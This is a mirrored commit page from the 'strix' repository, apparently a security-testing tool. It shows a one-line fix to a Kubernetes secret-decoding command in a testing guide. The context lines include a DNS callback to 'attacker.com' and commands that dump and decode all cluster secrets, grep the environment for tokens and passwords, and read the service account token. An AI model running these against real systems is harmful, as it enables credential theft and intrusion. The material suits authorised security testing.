mirror of
https://github.com/usestrix/strix.git
synced 2026-09-13 23:11:07 +00:00
Fix Kubernetes secret decode command
This commit is contained in:
parent
39b7f45c23
commit
26dfb4a562
1 changed files with 1 additions and 1 deletions
|
|
@ -110,7 +110,7 @@ nslookup attacker.com
|
|||
**Test:**
|
||||
```
|
||||
kubectl get secrets --all-namespaces -o json | jq '.items[].metadata.name'
|
||||
kubectl get secret <name> -o jsonpath='{.data}' | base64 -d
|
||||
kubectl get secret <name> -o json | jq '.data | map_values(@base64d)'
|
||||
env | grep -iE 'password|key|token|secret|credential'
|
||||
cat /var/run/secrets/kubernetes.io/serviceaccount/token
|
||||
```
|
||||
|
|
|
|||
Loading…
Add table
Reference in a new issue